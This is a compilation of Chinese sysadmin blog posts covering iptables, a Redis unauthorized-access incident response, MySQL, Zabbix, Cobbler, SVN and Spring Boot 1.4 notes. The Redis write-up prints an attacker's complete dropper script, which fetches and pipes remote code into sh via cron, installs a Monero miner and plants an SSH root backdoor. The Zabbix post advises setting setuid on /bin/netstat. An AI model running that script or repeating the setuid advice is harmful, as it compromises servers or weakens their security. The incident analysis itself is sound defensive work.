1.iptables

启动指令: service iptables start

重启指令: service iptables restart

关闭指令: service iptables stop

保存指令: service iptables save

相关配置: /etc/sysconfig/iptables


2.操作: vim /etc/sysconfig/iptables

# Firewall configuration written by system-config-firewall

# Manual customization of this file is not recommended.

*filter

:INPUT ACCEPT [0:0]

:FORWARD ACCEPT [0:0]

:OUTPUT ACCEPT [0:0]

-A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

-A INPUT -p icmp -j ACCEPT

-A INPUT -i lo -j ACCEPT

-A INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT

-A INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT

-A INPUT -j REJECT --reject-with icmp-host-prohibited

-A FORWARD -j REJECT --reject-with icmp-host-prohibited

COMMIT

启动: service iptables start

重启: service iptables restart

保存: service iptables save


注意: 先service iptables restart,然后才调用/etc/rc.d/init.d/iptables save

因为/etc/rc.d/init.d/iptables save会在iptables服务启动时重新加载,

要是在重启之前直接先调用了/etc/rc.d/init.d/iptables save

那么你的/etc/sysconfig/iptables 配置就回滚到上次启动服务的配置了,这点必须注意!!! 

Redis未授权访问缺陷

朋友的一个项目说接到阿里云的告警,提示服务器已沦为肉鸡,网络带宽被大量占用,网站访问很慢,通过SSH远程管理服务器还频繁断开链接。朋友不知如何下手,便邀请我帮忙处理。

阿里云的安全告警邮件内容:

images/7PttSmdWXkHhMbpFeAH4NEGS2SscWecR.png

images/By42yHKjNaB6rCrsXCpZASzszyPhrrmX.png

在没有查到异常进程之前我是先把操作系统的带宽&端口用iptables 做了限制这样能保证我能远程操作服务器才能查找原因.

images/phHj3je8NwAN63wbpiGdimT2CQw6iDEm.png

在各种netstat –ntlp  的查看下没有任何异常。在top 下查到了有异常进程 还有些异常的这里就截图一个:

images/W3Re8tnjd547WNfApE7fm2JeF2KmWCDt.png


结果果断把进程给kill -9  了  没想到再去ps的时候又来了 意思就是会自动启动它。

这就让我想到了crond 这个自动任务果不其然 /var/sprool/cron/root 这个文件被人做了手脚 而且是二进制的,果断又给删除了,以为这下没事了结果过了两分钟这个文件又来这个就引起我主要了联想到了是不是有说明守护进程了 这样的事情肯定是有守护进程在才会发生的了。于是我去百度了下  jyam -c x -M stratum+tcp 果不其然 确实有这样的攻击,这个攻击是由于redis 未授权登陆漏洞引起导致黑客利用的。

漏洞概述

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访 问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。

漏洞描述

Redis 安全模型的观念是: “请不要将Redis暴露在公开网络中, 因为让不受信任的客户接触到Redis是非常危险的” 。

Redis 作者之所以放弃解决未授权访问导致的不安全性是因为, 99.99%使用Redis的场景都是在沙盒化的环境中, 为了0.01%的可能性增加安全规则的同时也增加了复杂性, 虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。

因为其他受信任用户需要使用Redis或者因为运维人员的疏忽等原因,部分Redis 绑定在0.0.0.0:6379,并且没有开启认证(这是Redis的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip访问等,将会导致Redis服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。

利用Redis自身的相关方法,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。  (导致可以执行任何操作)

漏洞影响

Redis 暴露在公网(即绑定在0.0.0.0:6379,目标IP公网可访问),并且没有开启相关认证和添加相关安全策略情况下可受影响而导致被利用。

 

在网上我查到这个被黑客编译成二进制的源文件代码 (关于redis 未授权登陆安全措施:

1 配置bind选项, 限定可以连接Redis服务器的IP, 并修改redis的默认端口6379. 防火墙控制好允许IP连接就好

2 配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中.

3 配置rename-command CONFIG "RENAME_CONFIG", 这样即使存在未授权访问, 也能够给攻击者使用config指令加大难度

4是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如config

)

##网上查到脚本内容大致如下

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

 

echo "*/2 * * * * curl -L https://r.chanstring.com/api/report?pm=1 | sh" > /var/spool/cron/root

# echo "*/2 * * * * ps auxf | grep -v grep | grep yam || /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:x@xmr.crypto-pool.fr:6666/xmr" >> /var/spool/cron/root

echo "*/5 * * * * ps auxf | grep -v grep | grep gg3lady || nohup /opt/gg3lady &" >> /var/spool/cron/root

 

ps auxf | grep -v grep | grep yam || nohup /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:x@xmr.crypto-pool.fr:6666/xmr &

 

if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then

         mkdir -p ~/.ssh

         rm -f ~/.ssh/authorized_keys*

         echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq

         echo "PermitRootLogin yes" >> /etc/ssh/sshd_config

         echo "RSAAuthentication yes" >> /etc/ssh/sshd_config

         echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config

         echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config

         /etc/init.d/sshd restart

fi

 

if [ ! -f "/opt/yam/yam" ]; then

         mkdir -p /opt/yam

         curl -f -L https://r.chanstring.com/api/download/yam -o /opt/yam/yam

         chmod +x /opt/yam/yam

         # /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:x@xmr.crypto-pool.fr:6666/xmr

fi

 

if [ ! -f "/opt/gg3lady" ]; then

         curl -f -L https://r.chanstring.com/api/download/gg3lady_`uname -i` -o /opt/gg3lady

         chmod +x /opt/gg3lady

fi

 

# yam=$(ps auxf | grep yam | grep -v grep | wc -l)

# gg3lady=$(ps auxf | grep gg3lady | grep -v grep | wc -l)

# cpu=$(cat /proc/cpuinfo | grep processor | wc -l)

 

# curl https://r.chanstring.com/api/report?yam=$yam\&cpu=$cpu\&gg3lady=$gg3lady\&arch=`uname -i`

于是终于找到源头了,

下面我们来分析下这个脚本

images/PMZhDfy8mSxT2TrnbR4NfR3QzyHGZWXW.png

整个脚本的大致就这样

处理方法只要把 /var/spool/cron/root 删除   /opt/yam/yam   删除   /opt/gg3lady  删除  .ssh/KHK75NEOiq 删除

把gg3lady  yam     进程结束 还有就是sshd_confg 文件还原 应该就没问题了。但是为了安全起见还是希望重装服务器,不确保别人不留其他的漏洞

 

对应的安全处理:
1、限制Redis的访问IP,如指定本地IP获指定特定IP可以访问。
2、如果是本地访问和使用,打开防火墙(阿里云等操作系统,默认把防火墙关了),不开放Redis端口,最好修改掉Redis的默认端口;
3、如果要远程访问,给Redis配置上授权访问密码;

Cause: java.sql.SQLException: Lock wait timeout exceeded; try restarting transaction

标签:系统运维,Mysql发布于 2016-07-14 17:13:47

Cause: java.sql.SQLException: Lock wait timeout exceeded; try restarting transaction

出现之后查看相应的线程

命令:select * from information_schema.innodb_trx

找到对应的线程之后kill了,就ok!

Zabbix客户端日志出现(Not all processes could be identified,

标签:Linux发布于 2016-08-10 11:59:40

场景:因为使用了netstat -p参数。

权限问题,zabbix_agentd是zabbix用户启动的,默认不能执行netstat -p等命令,导致从服务器取到的自动发现脚本为空

(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
解决方法 :
chmod +s /bin/netstat

chmod +s 是什么意思

再次执行就会消失(变成正常)

利用cobbler定义一个装机平台

标签:Linux发布于 2016-08-05 09:18:45
最近对于CMDB平台做了一次功能增加,把具体实现再往下细分就是:运维人员对设备申请,申请好之后跟网络部需要需要提前分配一个IP地址网段等 等,然后通过从厂商获取的MAC地址号,咱们可以根据cobbler 的API实现一个装机方式,给主机分配好IP地址,装机完成之后再同步到咱们的CMDB平台:

  

     前提条件是cobbler得安装完成,并且咱们提前写好ks文件,生成profile等等。接下来就是咱们运维平台,根据获取的MAC地址给服务器定义一个IP信息录入,然后定制安装操作系统即可:


第一步:添加主机分配IP,最主要是MAC地址:


wKioL1ejGXKgELZVAABhANEoASM865.png-wh_50


第二步:默认刚开始添加的适合都是等待装机状态,当点击开始装机时候,后台根据MAC地址定义操作系统的profile和生成IP地址,这个时候装机状态就变成装机中,然后开启服务器电源执行装机即可:


wKiom1ejGirwGfKLAABfnafwQGE878.png-wh_50


第三步:启动虚拟机开始装机:


wKioL1ejHB2wXNpOAAAj3tWS-Yw495.png-wh_50


wKioL1ejG2WzpZX0AABQWFNlPhA641.png-wh_50


到此安装完成;装机状态可变成装机完成,这里实现的思路咱们可以这样,写一个脚本久不久去ping 这个刚刚分配的IP地址,等真正可以Ping通之后,可以向这个IP发送某条命令然后根据返回值就能判断是否已经完成装机操作。


不足,这里我没有运用ipmi的一些机制来完成,后面慢慢学习和补充,最后咱们跑一个初始化脚本,然后把生产的机器的资产信息,同步到咱们CMDB平台即可。


定制操作系统可以参考官方文档的system修改成如下的操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[root@cobbler src] # cat cobbler_api.py 
#!/usr/bin/env python
import  xmlrpclib
remote  =   xmlrpclib.Server( "http://192.168.63.238/cobbler_api" )
token  =  remote.login( "xiaoluo" , "123456" )
system_id  =  remote.new_system(token)
remote.modify_system(system_id, "name" , "xiaoluo" ,token)
remote.modify_system(system_id, "hostname" , "xiaoluo" ,token)
remote.modify_system(system_id, 'modify_interface' , {
                 "macaddress-eth0"     "00:50:56:2C:4C:56" ,
                 "ipaddress-eth0"      "192.168.63.100" ,
                 "Gateway-eth0"        "192.168.63.254" ,
                 "subnet-eth0"         "255.255.255.0" ,
                 "static-eth0"         1 ,
                 "dnsname-eth0"       : "114.114.114.114"
         }, token)
remote.modify_system(system_id, "profile" , "webserver" ,token)
remote.save_system(system_id, token)
ret  =  remote.sync(token)
print  ret


      当然这个只是一个官方文档给出的例子做的小修改,咱们可以封装成一个class,包含cobble的定制操作系统即可;当然也可以针对cobbler专门 做一个纯web开发,通过web界面生成ks文件,生成profile也是可以的,这里我减少开发的繁杂,ks文件生成profile文档等等。

SVN命令使用详解

标签:Linux发布于 2016-08-04 18:13:09

1、检出
svn  co  http://路径(目录或文件的全路径) [本地目录全路径] --username 用户名 --password 密码

svn  co  svn://路径(目录或文件的全路径) [本地目录全路径]  --username 用户名 --password 密码
svn  checkout  http://路径(目录或文件的全路径) [本地目录全路径] --username 用户名
svn  checkout  svn://路径(目录或文件的全路径) [本地目录全路径]  --username 用户名
注:如果不带--password 参数传输密码的话,会提示输入密码,建议不要用明文的--password 选项。
  其中 username 与 password前是两个短线,不是一个。
  不指定本地目录全路径,则检出到当前目录下。
例子:
svn co svn://localhost/测试工具 /home/testtools --username wzhnsc
svn co http://localhost/test/testapp --username wzhnsc
svn checkout svn://localhost/测试工具 /home/testtools --username wzhnsc
svn checkouthttp://localhost/test/testapp --username wzhnsc

2导出(导出一个干净的不带.svn文件夹的目录树)
svn  export  [-r 版本号]  http://路径(目录或文件的全路径) [本地目录全路径] --username 用户名
svn  export  [-r 版本号]  svn://路径(目录或文件的全路径) [本地目录全路径] --username 用户名
svn  export  本地检出的(即带有.svn文件夹的)目录全路径  要导出的本地目录全路径
注:第一种从版本库导出干净工作目录树的形式是指定URL,
   如果指定了修订版本号,会导出相应的版本,
   如果没有指定修订版本,则会导出最新的,导出到指定位置。
   如果省略 本地目录全路径,URL的最后一部分会作为本地目录的名字。
  第二种形式是指定 本地检出的目录全路径 到 要导出的本地目录全路径,所有的本地修改将会保留,
   但是不在版本控制下(即没提交的新文件,因为.svn文件夹里没有与之相关的信息记录)的文件不会拷贝。
例子:
svn export
 svn://localhost/测试工具 /home/testtools --username wzhnsc
svn export
 svn://localhost/test/testapp --username wzhnsc
svn export
 /home/testapp /home/testtools

3、添加新文件 
svn add 文件名
注:告诉SVN服务器要添加文件了,还要用svn commint -m真实的上传上去!
例子:
svn add test.php <- 添加test.php 
svn commit -m “添加我的测试用test.php“ test.php
svn add *.php <- 添加当前目录下所有的php文件
svn commit -m “添加我的测试用全部php文件“ *.php

4、提交
svn commit -m “提交备注信息文本“ [-N] [--no-unlock] 文件名
svn ci -m “提交备注信息文本“ [-N] [--no-unlock] 文件名
必须带上-m参数,参数可以为空,但是必须写上-m
例子:
svn commit -m “提交当前目录下的全部在版本控制下的文件“ * <- 注意这个*表示全部文件
svn commit -m “提交我的测试用test.php“ test.php
svn commit -m “提交我的测试用test.php“ -N --no-unlock test.php <- 保持锁就用–no-unlock开关
svn ci -m “提交当前目录下的全部在版本控制下的文件“ * <- 注意这个*表示全部文件
svn ci -m “提交我的测试用test.php“ test.php
svn ci -m “提交我的测试用test.php“ -N --no-unlock test.php <- 保持锁就用–no-unlock开关

5、更新文件
svn update
svn update -r 修正版本 文件名
svn update 文件名
例子:
svn update <- 后面没有目录,默认将当前目录以及子目录下的所有文件都更新到最新版本
svn update -r 200 test.cpp <- 将版本库中的文件 test.cpp 还原到修正版本(revision)200
svn update test.php <- 更新与版本库同步。
            提交的时候提示过期冲突,需要先 update 修改文件,
            然后清除svn resolved,最后再提交commit。

6、删除文件
svn delete svn://路径(目录或文件的全路径) -m “删除备注信息文本”
推荐如下操作:
svn delete 文件名 
svn ci -m “删除备注信息文本”
例子:
svn delete svn://localhost/testapp/test.php -m “删除测试文件test.php”
推荐如下操作:
svn delete test.php 
svn ci -m “删除测试文件test.php”

7、加锁/解锁 
svn lock -m “加锁备注信息文本“ [--force] 文件名 
svn unlock 文件名
例子:
svn lock -m “锁信测试用test.php文件“ test.php 
svn unlock test.php

8、比较差异 
svn diff 文件名 
svn diff -r 修正版本号m:修正版本号n 文件名
例子:
svn diff test.php<- 将修改的文件与基础版本比较
svn diff -r 200:201 test.php<- 对 修正版本号200 和 修正版本号201 比较差异

9、查看文件或者目录状态
svn st 目录路径/名
svn status 目录路径/名<- 目录下的文件和子目录的状态,正常状态不显示 
             【?:不在svn的控制中;  M:内容被修改;C:发生冲突;
              A:预定加入到版本库;K:被锁定】 
svn  -v 目录路径/名
svn status -v 目录路径/名<- 显示文件和子目录状态
              【第一列保持相同,第二列显示工作版本号,
               第三和第四列显示最后一次修改的版本号和修改人】 
注:svn status、svn diff和 svn revert这三条命令在没有网络的情况下也可以执行的,
  原因是svn在本地的.svn中保留了本地版本的原始拷贝。 

10、查看日志
svn log 文件名
例子:
svn log test.php<- 显示这个文件的所有修改记录,及其版本号的变化 

11、查看文件详细信息
svn info 文件名
例子:
svn info test.php

12、SVN 帮助
svn help <- 全部功能选项
svn help ci <- 具体功能的说明

13、查看版本库下的文件和目录列表 
svn list svn://路径(目录或文件的全路径)
svn ls svn://路径(目录或文件的全路径)
例子:
svn list svn://localhost/test
svn ls svn://localhost/test <- 显示svn://localhost/test目录下的所有属于版本库的文件和目录 

14、创建纳入版本控制下的新目录
svn mkdir 目录名
svn mkdir -m "新增目录备注文本" http://目录全路径
例子:
svn mkdir newdir
svn mkdir -m "Making a new dir." svn://localhost/test/newdir 
注:添加完子目录后,一定要回到根目录更新一下,不然在该目录下提交文件会提示“提交失败”
svn update
注:如果手工在checkout出来的目录里创建了一个新文件夹newsubdir,
  再用svn mkdir newsubdir命令后,SVN会提示:
  svn: 尝试用 “svn add”或 “svn add --non-recursive”代替?
  svn: 无法创建目录“hello”: 文件已经存在
  此时,用如下命令解决:
  svn add --non-recursive newsubdir
  在进入这个newsubdir文件夹,用ls -a查看它下面的全部目录与文件,会发现多了:.svn目录
  再用 svn mkdir -m "添hello功能模块文件" svn://localhost/test/newdir/newsubdir 命令,
  SVN提示:
  svn: File already exists: filesystem '/data/svnroot/test/db', transaction '4541-1',
  path '/newdir/newsubdir '

15、恢复本地修改 
svn revert [--recursive] 文件名
注意: 本子命令不会存取网络,并且会解除冲突的状况。但是它不会恢复被删除的目录。
例子:
svn revert foo.c <- 丢弃对一个文件的修改
svn revert --recursive . <-恢复一整个目录的文件,. 为当前目录 

16、把工作拷贝更新到别的URL 
svn switch http://目录全路径 本地目录全路径
例子:
svn switch http://localhost/test/456 . <- (原为123的分支)当前所在目录分支到localhost/test/456

17、解决冲突 
svn resolved [本地目录全路径]
例子:
$ svn update
C foo.c
Updated to revision 31.
如果你在更新时得到冲突,你的工作拷贝会产生三个新的文件:
$ ls
foo.c
foo.c.mine
foo.c.r30
foo.c.r31
当你解决了foo.c的冲突,并且准备提交,运行svn resolved让你的工作拷贝知道你已经完成了所有事情。
你可以仅仅删除冲突的文件并且提交,但是svn resolved除了删除冲突文件,还修正了一些记录在工作拷贝管理区域的记录数据,所以我们推荐你使用这个命令。

18、不checkout而查看输出特定文件或URL的内容 
svn cat http://文件全路径
例子:
svn cat http://localhost/test/readme.txt

19、新建一个分支copy

svn copy branchA branchB  -m "make B branch" // 从branchA拷贝出一个新分支branchB

20、合并内容到分支merge

svn merge branchA branchB  // 把对branchA的修改合并到分支branchB

Spring Boot 教程系列学习


Spring Boot 1.4.0 Release Notes 更新日志-02

标签:SpringBoot,框架类,Spring发布于 2016-07-30 09:24:46

Spring Framework 4.3

Spring Boot 1.4 builds on and requires Spring Framework 4.3. There are a number of nice refinements in Spring Framework 4.3 including new Spring MVC @RequestMapping annotations. Refer to the Spring Framework reference documentation for details.

Note that the test framework in Spring Framework 4.3 requires JUnit 4.12. See SPR-13275 for further details.

Third-party library upgrades

A number of third party libraries have been upgraded to their latest version. Updates include Jetty 9.3, Tomcat 8.5, Jersey 2.23, Hibernate 5.0, Jackson 2.7, Solr 5.5, Spring Data Hopper, Spring Session 1.2, Hazelcast 3.6, Artemis 1.3, Ehcache 3.1, Elasticsearch 2.3, Spring REST Docs 1.1, Spring AMQP 1.6 & Spring Integration 4.3.

Several Maven plugins were also upgraded.

Couchbase support

Full auto-configuration support is now provided for Couchbase. You can easily access a Bucketand Cluster bean by adding the spring-boot-starter-data-couchbase "Starter" and providing a little configuration:

spring.couchbase.bootstrap-hosts=my-host-1,192.168.1.123
spring.couchbase.bucket.name=my-bucket
spring.couchbase.bucket.password=secret

It’s also possible to use Couchbase as a backing store for a Spring Data Repository or as aCacheManager. Refer to the updated documentation for details.

Neo4J Support

Auto-configuration support is now provided for Neo4J. You can connect to a remote server or run an embedded Neo4J server. You can also use Neo4J to back a Spring Data Repository, for example:

public interface CityRepository extends GraphRepository {    Page findAll(Pageable pageable);    City findByNameAndCountry(String name, String country);}

Full details are provided in the Neo4J section of the reference documentation.

Redis Spring Data repositories

Redis can now be used to back Spring Data repositories. See the Spring Data Redis documentation for more details.

Narayana transaction manager support

Auto-configuration support is now included for the Narayana transaction manager. You can choose between Narayana, Bitronix or Atomkos if you need JTA support. See the updated reference guidefor details.

Caffeine cache support

Auto-configuration is provided for Caffeine v2.2 (a Java 8 rewrite of Guava’s caching support). Existing Guava cache users should consider migrating to Caffeine as Guava cache support will be dropped in a future release.

Elasticsearch Jest support

Spring Boot auto-configures a JestClient and a dedicated HealthIndicator if Jest is on the classpath. This allows you to use Elasticsearch even when spring-data-elasticsearch isn’t on the classpath.

Analysis of startup failures

Spring Boot will now perform analysis of common startup failures and provide useful diagnostic information rather than simply logging an exception and its stack trace. For example, a startup failure due to the embedded servlet container’s port being in use looked like this in earlier versions of Spring Boot:

2016-02-16 17:46:14.334 ERROR 24753 --- [           main] o.s.boot.SpringApplication               : Application startup failedjava.lang.RuntimeException: java.net.BindException: Address already in useat io.undertow.Undertow.start(Undertow.java:181) ~[undertow-core-1.3.14.Final.jar:1.3.14.Final]at org.springframework.boot.context.embedded.undertow.UndertowEmbeddedServletContainer.start(UndertowEmbeddedServletContainer.java:121) ~[spring-boot-1.3.2.RELEASE.jar:1.3.2.RELEASE]at org.springframework.boot.context.embedded.EmbeddedWebApplicationContext.startEmbeddedServletContainer(EmbeddedWebApplicationContext.java:293) ~[spring-boot-1.3.2.RELEASE.jar:1.3.2.RELEASE]at org.springframework.boot.context.embedded.EmbeddedWebApplicationContext.finishRefresh(EmbeddedWebApplicationContext.java:141) ~[spring-boot-1.3.2.RELEASE.jar:1.3.2.RELEASE]at org.springframework.context.support.AbstractApplicationContext.refresh(AbstractApplicationContext.java:541) ~[spring-context-4.2.4.RELEASE.jar:4.2.4.RELEASE]at org.springframework.boot.context.embedded.EmbeddedWebApplicationContext.refresh(EmbeddedWebApplicationContext.java:118) ~[spring-boot-1.3.2.RELEASE.jar:1.3.2.RELEASE]at org.springframework.boot.SpringApplication.refresh(SpringApplication.java:766) [spring-boot-1.3.2.RELEASE.jar:1.3.2.RELEASE]at org.springframework.boot.SpringApplication.createAndRefreshContext(SpringApplication.java:361) [spring-boot-1.3.2.RELEASE.jar:1.3.2.RELEASE]at org.springframework.boot.SpringApplication.run(SpringApplication.java:307) [spring-boot-1.3.2.RELEASE.jar:1.3.2.RELEASE]at org.springframework.boot.SpringApplication.run(SpringApplication.java:1191) [spring-boot-1.3.2.RELEASE.jar:1.3.2.RELEASE]at org.springframework.boot.SpringApplication.run(SpringApplication.java:1180) [spring-boot-1.3.2.RELEASE.jar:1.3.2.RELEASE]at sample.undertow.SampleUndertowApplication.main(SampleUndertowApplication.java:26) [classes/:na]
Caused by: java.net.BindException: Address already in useat sun.nio.ch.Net.bind0(Native Method) ~[na:1.8.0_60]at sun.nio.ch.Net.bind(Net.java:433) ~[na:1.8.0_60]at sun.nio.ch.Net.bind(Net.java:425) ~[na:1.8.0_60]at sun.nio.ch.ServerSocketChannelImpl.bind(ServerSocketChannelImpl.java:223) ~[na:1.8.0_60]at sun.nio.ch.ServerSocketAdaptor.bind(ServerSocketAdaptor.java:74) ~[na:1.8.0_60]at org.xnio.nio.NioXnioWorker.createTcpConnectionServer(NioXnioWorker.java:190) ~[xnio-nio-3.3.4.Final.jar:3.3.4.Final]at org.xnio.XnioWorker.createStreamConnectionServer(XnioWorker.java:243) ~[xnio-api-3.3.4.Final.jar:3.3.4.Final]at io.undertow.Undertow.start(Undertow.java:137) ~[undertow-core-1.3.14.Final.jar:1.3.14.Final]... 11 common frames omitted

In 1.4, it will look like this:

2016-02-16 17:44:49.179 ERROR 24745 --- [           main] o.s.b.d.LoggingFailureAnalysisReporter   :***************************
APPLICATION FAILED TO START
***************************Description:Embedded servlet container failed to start. Port 8080 was already in use.Action:Identify and stop the process that's listening on port 8080 or configure this application to listen on another port.

If you still want to see the stacktrace of the underlying cause, enable debug logging fororg.springframework.boot.diagnostics.LoggingFailureAnalysisReporter.

Image Banners

You can now use image files to render ASCII art banners. Drop a banner.gifbanner.jpg orbanner.png file into src/main/resources to have it automatically converted to ASCII. You can use the banner.image.width and banner.image.height properties to tweak the size, or usebanner.image.invert to invert the colors.

banner image

RestTemplate builder

A new RestTemplateBuilder can be used to easily create a RestTemplate with sensible defaults. By default, the built RestTemplate will attempt to use the most suitable ClientHttpRequestFactoryavailable on the classpath and will be aware of the MessageConverter instances to use (including Jackson). The builder includes a number of useful methods that can be used to quickly configure aRestTemplate. For example, to add BASIC auth support you can use:

@Beanpublic RestTemplate restTemplate(RestTemplateBuilder builder) {    return builder.basicAuthorization("user", "secret").build();
}

The auto-configured TestRestTemplate now uses the RestTemplateBuilder as well.

JSON Components

A new @JsonComponent annotation is now provided for custom Jackson JsonSerializer and/orJsonDeserializer registration. This can be a useful way to decouple JSON serialization logic:

@JsonComponentpublic class Example {    public static class Serializer extends JsonSerializer {        // ...}    public static class Deserializer extends JsonDeserializer {        // ...}}

Additionally, Spring Boot also now provides JsonObjectSerializer and JsonObjectDeserializerbase classes which provide useful alternatives to the standard Jackson versions when serializing objects. See the updated documentation for details.

Convention based error pages

Custom error pages for a given status code can now be created by following a convention based approach. Create a static HTML file in /public/error or add a template to /templates/error using the status code as the filename. For example, to register a custom 404 file you could addsrc/main/resource/public/error/404.html. See the updated reference documentation for details.

Unified @EntityScan annotation

org.springframework.boot.autoconfigure.domain.EntityScan can now be used to specify the packages to use for JPA, Neo4J, MongoDB, Cassandra and Couchbase. As a result, the JPA-specificorg.springframework.boot.orm.jpa.EntityScan is now deprecated.

ErrorPageRegistry

New ErrorPageRegistry and ErrorPageRegistrar interfaces allow error pages to be registered in a consistent way regardless of the use of an embedded servlet container. The ErrorPageFilter class has been updated to that it is now a ErrorPageRegistry and not a fakeConfigurableEmbeddedServletContainer.

PrincipalExtractor

The PrincipalExtractor interface can now be used if you need to extract the OAuth2 Principalusing custom logic.

Test improvements

Spring Boot 1.4 includes a major overhaul of testing support. Test classes and utilities are now provided in dedicated spring-boot-test and spring-boot-test-autoconfigure jars (although most users will continue to pick them up via the spring-boot-starter-test "Starter"). We’ve added AssertJ, JSONassert and JsonPath dependencies to the test starter.

@SpringBootTest

With Spring Boot 1.3 there were multiple ways of writing a Spring Boot test. You could use@SpringApplicationConfiguration@ContextConfiguration with theSpringApplicationContextLoader@IntegrationTest or @WebIntegrationTest. With Spring Boot 1.4, a single @SpringBootTest annotation replaces all of those.

Use @SpringBootTest in combination with @RunWith(SpringRunner.class) and set thewebEnvironment attribute depending on the type of test you want to write.

A classic integration test, with a mocked servlet environment:

@RunWith(SpringRunner.class)
@SpringBootTestpublic class MyTest {    // ...}

A web integration test, running a live server listening on a defined port:

@RunWith(SpringRunner.class)
@SpringBootTest(webEnvironment=WebEnvionment.DEFINED_PORT)public class MyTest {    // ...}

A web integration test, running a live server listening on a random port:

@RunWith(SpringRunner.class)
@SpringBootTest(webEnvironment=WebEnvionment.RANDOM_PORT)public class MyTest {	@LocalServerPortprivate int actualPort;	// ...}

See the updated reference documentation for details.

Auto-detection of test configuration

Test configuration can now be automatically detected for most tests. If you follow the Spring Boot recommended conventions for structuring your code the @SpringBootApplication class will be loaded when no explicit configuration is defined. If you need to load a different @Configurationclass you can either include it as a nested inner-class in your test, or use the classes attribute of@SpringBootTest.

See Detecting test configuration for details.

Mocking and spying beans

It’s quite common to want to replace a single bean in your ApplicationContext with a mock for testing purposes. With Spring Boot 1.4 this now as easy as annotating a field in your test with@MockBean:

@RunWith(SpringRunner.class)
@SpringBootTestpublic class MyTest {    @MockBeanprivate RemoteService remoteService;    @Autowiredprivate Reverser reverser;    @Testpublic void exampleTest() {        // RemoteService has been injected into the reverser beangiven(this.remoteService.someCall()).willReturn("mock");        String reverse = reverser.reverseSomeCall();assertThat(reverse).isEqualTo("kcom");}}

You can also use @SpyBean if you want to spy on an existing bean rather than using a full mock.

See the mocking section of the reference documentation for more details.

Auto-configured tests

Full application auto-configuration is sometime overkill for tests, you often only want to auto-configure a specific "slice" of your application. Spring Boot 1.4 introduces a number of specialized test annotations that can be used for testing specific parts of your application:

  • @JsonTest - For testing JSON marshalling and unmarshalling.

  • @WebMvcTest - For testing Spring MVC @Controllers using MockMVC.

  • @RestClientTest - For testing RestTemplate calls.

  • @DataJpaTest - For testing Spring Data JPA elements

Many of the annotations provide additional auto-configuration that’s specific to testing. For example, if you use @WebMvcTest you can @Autowire a fully configured MockMvc instance.

See the reference documentation for details.

JSON AssertJ assertions

New JacksonTesterGsonTester and BasicJsonTester classes can be used in combination with AssertJ to test JSON marshalling and unmarshalling. Testers can be used with the @JsonTestannotation or directly on a test class:

@RunWith(SpringRunner.class)
@JsonTestpublic class MyJsonTests {    private JacksonTester json;    @Testpublic void testSerialize() throws Exception {        VehicleDetails details = new VehicleDetails("Honda", "Civic");assertThat(this.json.write(details)).isEqualToJson("expected.json");assertThat(this.json.write(details)).hasJsonPathStringValue("@.make");}}

See the JSON section of the reference documentation or the Javadocs for details.

@RestClientTest

The @RestClientTest annotation can be used if you want to test REST clients. By default it will auto-configure Jackson and GSON support, configure a RestTemplateBuilder and add support forMockRestServiceServer.

Auto-configuration for Spring REST Docs

Combined with the support for auto-configuring MockMvc described above, auto-configuration for Spring REST Docs has been introduced. REST Docs can be enabled using the new@AutoConfigureRestDocs annotation. This will result in the MockMvc instance being automatically configured to use REST Docs and also removes the need to use REST Docs' JUnit rule. Please see the relevant section of the reference documentation for further details.

Test utilities

spring-boot-starter-test now brings the AssertJ assertions library.

Test utilities from the org.springframework.boot.test package have been moved to a spring-boot-test dedicated artifact.

Actuator info endpoint improvements

You can now use the InfoContributor interface to register beans that expose information to the/info actuator endpoint. Out of the box support is provided for:

  • Full or partial Git information generated from the git-commit-id-plugin Maven or gradle-git-properties Gradle plugin (set management.info.git.mode=full to expose full details)

  • Build information generated from the Spring Boot Maven or Gradle plugin.

